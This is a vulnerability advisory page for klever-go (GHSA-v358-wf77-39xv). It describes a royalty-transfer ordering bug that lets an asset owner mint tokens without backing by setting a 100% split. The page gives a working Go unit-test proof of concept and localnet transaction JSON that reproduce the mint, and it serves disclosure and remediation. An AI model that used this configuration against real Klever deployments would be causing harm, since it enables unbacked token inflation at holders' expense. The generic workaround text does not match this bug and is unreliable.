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klever-go: Percentage-transfer royalty skips the source debit at exactly-100% splitsGHSA-v358-wf77-39xv

Fix: klever-io/klever-go@8bcc600

GHSA-v358-wf77-39xv is a CWE-841 vulnerability in github.com/klever-io/klever-go. A fix is available for github.com/klever-io/klever-go — see the affected versions and patch details below.

Also known asCVE-2026-55763GO-2026-6323
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Oct 16, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for GHSA-v358-wf77-39xv.

EPSS Exploitation Probability

via FIRST.org ↗
0.5%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs42th percentile — riskier than 42% of all scored CVEsHighest risk
0.00%0.34%0.67%1.01%0.3%0.5%0.5%Sep 26Oct 26Oct 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

Real-World Exposure

1 pkg affected
🐹github.com/klever-io/klever-go

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

In processPercentageRoyaltiesTransfer the royalty pool is collected from the sender by SubFromBalance that is ordered after the split loop and after if royaltiesToPay <= 0 { return Ok }. The split-payout guard rejects only an allocation that exceeds the pool (a strict splitToPay > royaltiesToPay), so a split entry of exactly 100% (PercentTransferPercentage = 10000) is a valid config: it drives royaltiesToPay to 0 and hits the early-return before the sender is debited. The split recipient keeps the full royalty; the sender pays nothing for it → mint. The sibling fixed-royalty path (processFixedRoyaltiesTransfer) debits the sender first and is safe. Only the percentage-transfer path collects and distributes in the same function with the collect placed after the early-return.

Affected code

  • core/kapp/accounts/accounts.go — processPercentageRoyaltiesTransfer: split loop → if royaltiesToPay <= 0 { return Ok } → acntSrc.SubFromBalance(royaltyAmount) (debit after the early-return). Contrast the safe processFixedRoyaltiesTransfer (debit before the loop).

Impact

Unbounded self-inflation of the transferred KDA: royaltyAmount = transferValue × rate is minted to an owner-controlled split address on every transfer of the asset, with no source debit and no supply-counter update (off-the-books).

Reachability

Owner-gated to configure (own KDA with a TransferPercentage royalty + a 100% split). Once configured, the mint fires on any holder's transfer of the asset — not just the owner's.

Proof of concept

Unit test

TestExploit_PercentRoyaltyZeroDebit drives the real processPercentageRoyaltiesTransfer with all relevant forks ON (KdaFpr, EnableSmartContracts, FixMarketBuyOverflow). With a single 100% split the recipient is credited the full royalty (40) while the sender's SubFromBalance is called 0 times (mint = 40); the 50% control case does not early-return, the sender is debited, and value conserves.

<details><summary>Full Go PoC (<code>core/kapp/accounts</code> package, passes = mint confirmed)</summary>
package accounts

import (
	"bytes"
	"encoding/hex"
	"testing"

	"github.com/stretchr/testify/require"

	commonMock "github.com/klever-io/klever-go/common/mock"
	"github.com/klever-io/klever-go/core"
	"github.com/klever-io/klever-go/core/kapp"
	"github.com/klever-io/klever-go/data/block"
	"github.com/klever-io/klever-go/data/state"
	"github.com/klever-io/klever-go/data/transaction"
	integrationMock "github.com/klever-io/klever-go/integrationTest/mock"
	"github.com/klever-io/klever-go/kapps"
	kvmStub "github.com/klever-io/klever-go/kvm/mock/stub"
)

// TestExploit_PercentRoyaltyZeroDebit proves the zero-debit mint:
// processPercentageRoyaltiesTransfer credits the split recipient
// inside the loop, then hits `if royaltiesToPay <= 0 { return Ok }` BEFORE the
// sender's `acntSrc.SubFromBalance(royaltyAmount, ...)`. A single VALID split
// entry of exactly 100% (PercentTransferPercentage = 10000) drives royaltiesToPay
// to 0 and skips the debit => the recipient keeps royaltyAmount, the sender pays
// nothing => mint. The sibling fixed path debits FIRST, so the 50% contrast case
// (which does NOT early-return) confirms the debit fires and value is conserved.
func TestExploit_PercentRoyaltyZeroDebit(t *testing.T) {
	const (
		assetIDStr     = "FUNGI-1234"
		transferValue  = int64(800)
		royaltyRatePct = uint32(500) // 5%
		royaltyAmount  = int64(40)   // 800 * 5% = 40
	)

	assetID := []byte(assetIDStr)

	// 32-byte, non-zero-prefixed => not a smart-contract address, so the royalty
	// path is not short-circuited by core.IsSmartContractAddress.
	senderAddr := bytes.Repeat([]byte{0x11}, 32)
	// Split recipient address must be a valid hex string (computeSplitRoyalties
	// hex-decodes the map key).
	recipientAddr := bytes.Repeat([]byte{0x22}, 32)
	recipientKey := hex.EncodeToString(recipientAddr)
	royaltyReceiverAddr := bytes.Repeat([]byte{0x33}, 32)

	buildKDA := func(splitPercent uint32) *kapps.KDAData {
		return &kapps.KDAData{
			AssetType:    kapps.KDAData_Fungible,
			OwnerAddress: senderAddr,
			Royalties: &kapps.RoyaltiesData{
				Address: royaltyReceiverAddr,
				TransferPercentage: []*kapps.RoyaltyData{
					{Amount: 1000, Percentage: royaltyRatePct},
				},
				SplitRoyalties: map[string]*kapps.RoyaltySplitData{
					recipientKey: {PercentTransferPercentage: splitPercent},
				},
			},
		}
	}

	type runResult struct {
		subFromCalls    int
		subFromAmount   int64
		addToRecipient  int64
		addToOwnerRem   int64
		resCode         transaction.Transaction_TXResultCode
		err             error
	}

	run := func(t *testing.T, splitPercent uint32) runResult {
		t.Helper()

		res := runResult{}

		// Sender: track whether/what the royalty debit hits. Holds plenty of the asset.
		acntSrc := &commonMock.UserAccountHandlerStub{
			AddressBytesCalled: func() []byte { return senderAddr },
			GetBalanceCalled:   func(_ []byte, _ bool) int64 { return 1_000_000 },
			SubFromBalanceCalled: func(value int64, _ []byte, _ bool, _ ...*kapps.UserKDA) error {
				res.subFromCalls++
				res.subFromAmount += value
				return nil
			},
		}

		// Destination is irrelevant to the royalty pool accounting here.
		acntDst := &commonMock.UserAccountHandlerStub{
			AddressBytesCalled: func() []byte { return royaltyReceiverAddr },
		}

		// Split recipient: capture the credit it receives.
		splitRecipient := &commonMock.UserAccountHandlerStub{
			AddressBytesCalled: func() []byte { return recipientAddr },
			AddToBalanceCalled: func(value int64, _ []byte, _ bool, _ ...*kapps.UserKDA) error {
				res.addToRecipient += value
				return nil
			},
		}

		// Owner-remainder receiver (only credited when the path does NOT early-return).
		royaltyReceiver := &commonMock.UserAccountHandlerStub{
			AddressBytesCalled: func() []byte { return royaltyReceiverAddr },
			AddToBalanceCalled: func(value int64, _ []byte, _ bool, _ ...*kapps.UserKDA) error {
				res.addToOwnerRem += value
				return nil
			},
		}

		cacher := &commonMock.AccountsCacherStub{
			LoadUserCalled: func(address []byte) (state.UserAccountHandler, error) {
				if bytes.Equal(address, recipientAddr) {
					return splitRecipient, nil
				}
				if bytes.Equal(address, royaltyReceiverAddr) {
					return royaltyReceiver, nil
				}
				return acntSrc, nil
			},
			GetExistingUserCalled: func(address []byte) (state.UserAccountHandler, error) {
				return royaltyReceiver, nil
			},
			UpdateUserCalled: func(_ state.AccountHandler) error { return nil },
		}

		// All relevant forks ON: KdaFpr (new royalty flow), EnableSmartContracts
		// (overflow-checked percentage math), and FixMarketBuyOverflow so the
		// fix-branch payout guard `splitToPay > royaltiesToPay` is ACTIVE.
		fc := &integrationMock.ForkControllerStub{
			KdaFprCalled:               func() bool { return true },
			EnableSmartContractsCalled: func() bool { return true },
			FixMarketBuyOverflowCalled: func() bool { return true },
		}

		kappController := &kvmStub.KAppControllerStub{
			GetCurrentKAppContextCalled: func() kapp.KappContext {
				return kapp.NewKappContext(kapp.ArgsNewKAppContext{
					OriginalSender: senderAddr,
					ContractID:     0,
					ContractType:   transaction.TXContract_TransferContractType,
					Block:          &block.Block{},
				})
			},
		}

		a := &accountsKapp{
			accountsCacher: cacher,
			forkController: fc,
			KAppController: kappController,
		}

		tc := &transaction.TransferContract{
			Amount:       transferValue,
			KDARoyalties: royaltyAmount, // must match the computed pool (accounts.go line 429)
		}

		kda := buildKDA(splitPercent)

		res.resCode, res.err = a.processPercentageRoyaltiesTransfer(
			tc, assetID, nil, acntSrc, acntDst, kda,
		)
		return res
	}

	// ---- 100% split: the exploit. Recipient credited, sender NEVER debited. ----
	t.Run("split_100pct_mints", func(t *testing.T) {
		r := run(t, core.HundredPercent) // 10000 == exactly 100%, a VALID config

		require.NoError(t, r.err)
		require.Equal(t, transaction.Transaction_Ok, r.resCode)

		credited := r.addToRecipient
		debited := r.subFromAmount
		mintDelta := credited - debited

		t.Logf("[100%% case] split recipient credited (AddToBalance) = %d", credited)
		t.Logf("[100%% case] sender royalty-debit calls (SubFromBalance) = %d", r.subFromCalls)
		t.Logf("[100%% case] sender royalty amount debited            = %d", debited)
		t.Logf("[100%% case] owner-remainder credited                 = %d", r.addToOwnerRem)
		t.Logf("[100%% case] MINT delta (credited - debited)          = %d", mintDelta)

		// (1) split recipient WAS credited the full royaltyAmount (> 0).
		require.Equal(t, royaltyAmount, credited,
			"split recipient must receive the full royalty pool")
		require.Greater(t, credited, int64(0))

		// (2) the sender's royalty debit was NEVER called -> value created.
		require.Equal(t, 0, r.subFromCalls,
			"BUG CONFIRMED: SubFromBalance (sender royalty debit) was skipped by the <=0 early-return")
		require.Equal(t, int64(0), debited)

		// credited > debited => mint of royaltyAmount.
		require.Equal(t, royaltyAmount, mintDelta,
			"fix is INCOMPLETE: %d of %s minted (recipient credited, sender never debited)",
			mintDelta, assetIDStr)
	})

	// ---- 50% split contrast: NO early-return, sender IS debited -> conserved. ----
	t.Run("split_50pct_conserves", func(t *testing.T) {
		r := run(t, core.HundredPercent/2) // 5000 == 50%

		require.NoError(t, r.err)
		require.Equal(t, transaction.Transaction_Ok, r.resCode)

		credited := r.addToRecipient + r.addToOwnerRem
		debited := r.subFromAmount

		t.Logf("[50%% case] split recipient credited      = %d", r.addToRecipient)
		t.Logf("[50%% case] owner-remainder credited       = %d", r.addToOwnerRem)
		t.Logf("[50%% case] total credited                 = %d", credited)
		t.Logf("[50%% case] sender royalty-debit calls      = %d", r.subFromCalls)
		t.Logf("[50%% case] sender royalty amount debited   = %d", debited)
		t.Logf("[50%% case] net (credited - debited)        = %d (0 => conserved)", credited-debited)

		// Sender IS debited the full royalty pool exactly once.
		require.Equal(t, 1, r.subFromCalls,
			"sibling path: at <100%% the early-return does NOT fire, so the sender royalty debit runs")
		require.Equal(t, royaltyAmount, debited)

		// Split (20) + owner remainder (20) == debited (40): value conserved.
		require.Equal(t, royaltyAmount/2, r.addToRecipient)
		require.Equal(t, royaltyAmount/2, r.addToOwnerRem)
		require.Equal(t, debited, credited, "50%% case conserves: total credited == debited")
	})
}
</details>

On-chain reproduction (live single-node localnet)

Asset F07-3NG3 was created with a 10% transfer royalty (percentage: 1000) and a single 100% split (percentTransferPercentage: 10000) to address R (klv1qeh4py4…qcv2xjm). A transfer of 100,000,000,000 units (with kdaRoyalties = 10,000,000,000, i.e. the 10% pool) then produced two credit receipts: the recipient gets the 100,000,000,000 transfer, and R is credited the 10,000,000,000 royalty — while the sender was debited only the transfer amount, never the royalty. Net: 10,000 F07 created on the transfer.

<details><summary>Create tx — <code>F07-3NG3</code>, 10% transfer royalty + single 100% split to <code>R</code> (hash <code>ec2a8e8d…af12bc7f</code>)</summary>
{
    "hash": "ec2a8e8d17136986756141f598f869803528ab12840416671b09622eaf12bc7f",
    "blockNum": 104,
    "status": "success",
    "resultCode": "Ok",
    "chainID": "420420",
    "contract": [
        {
            "type": 1,
            "typeString": "CreateAssetContractType",
            "parameter": {
                "type": "Fungible",
                "name": "Finding07",
                "ticker": "F07",
                "precision": 6,
                "initialSupply": 1000000000000,
                "maxSupply": 0,
                "royalties": {
                    "address": "klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq",
                    "transferPercentage": [
                        { "percentage": 1000 }
                    ],
                    "splitRoyalties": [
                        {
                            "address": "klv1qeh4py4p5zzy94l2hnygpfklug82gpzw08u680ycwp00njxyhgdqcv2xjm",
                            "percentTransferPercentage": 10000
                        }
                    ]
                }
            }
        }
    ]
}
</details> <details><summary>Transfer tx — royalty pool 10,000,000,000 credited to <code>R</code> with no source debit (hash <code>37527757…bf3706b1</code>)</summary>
{
    "hash": "37527757b10dcf968b86cc3c0abf971c70e81aef0348b4a5b7d4ccc1bf3706b1",
    "blockNum": 120,
    "status": "success",
    "resultCode": "Ok",
    "chainID": "420420",
    "receipts": [
        {
            "assetId": "F07-3NG3",
            "from": "klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq",
            "to": "klv1qeh4py4p5zzy94l2hnygpfklug82gpzw08u680ycwp00njxyhgdqcv2xjm",
            "type": 0,
            "typeString": "Transfer",
            "value": 10000000000
        },
        {
            "assetId": "F07-3NG3",
            "from": "klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq",
            "to": "klv1fttx7kd0mzw3t8nekmh98489dwqq6mehs98nfcuvewwz0yt776aqf5ydfa",
            "type": 0,
            "typeString": "Transfer",
            "value": 100000000000
        }
    ],
    "contract": [
        {
            "type": 0,
            "typeString": "TransferContractType",
            "parameter": {
                "assetId": "F07-3NG3",
                "toAddress": "klv1fttx7kd0mzw3t8nekmh98489dwqq6mehs98nfcuvewwz0yt776aqf5ydfa",
                "amount": 100000000000,
                "kdaRoyalties": 10000000000
            }
        }
    ]
}
</details>

Remediation

Reorder so the royalty pool is debited from the sender before the split distribution, mirroring processFixedRoyaltiesTransfer:

err := acntSrc.SubFromBalance(royaltyAmount, assetID, ...)   // debit FIRST
// ... then the split loop and `if royaltiesToPay <= 0 { return Ok }` (now only skips a zero owner-remainder)

Add the unit test above as a regression guard. Consensus-affecting → gate behind the next activation flag.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/klever-io/klever-goall versions1.7.19-rc4go get github.com/klever-io/klever-go@v1.7.19-rc4

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/klever-io/klever-go, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update github.com/klever-io/klever-go to 1.7.19-rc4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-v358-wf77-39xv is resolved across your whole dependency graph.

  3. Workarounds

    Stop feeding it untrusted input: reject or quarantine files and payloads from unverified sources until you can upgrade, restrict accepted formats to the ones you actually need, and run the parsing or decoding step in a least-privileged sandbox or short-lived worker so a crash or corrupted read cannot reach the rest of the process.

Frequently Asked Questions

## Summary In `processPercentageRoyaltiesTransfer` the royalty pool is collected from the sender by `SubFromBalance` that is ordered **after** the split loop and after `if royaltiesToPay <= 0 { return Ok }`. The split-payout guard rejects only an allocation that *exceeds* the pool (a strict `splitToPay > royaltiesToPay`), so a split entry of **exactly 100%** (`PercentTransferPercentage = 10000`) is a *valid* config: it drives `royaltiesToPay` to 0 and hits the early-return **before** the sender is debited. The split recipient keeps the full royalty; the sender pays nothing for it → mint. The s
O3 Security · Impact-Aware SCA

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klever-go: Percentage-transfer royalty skips the source…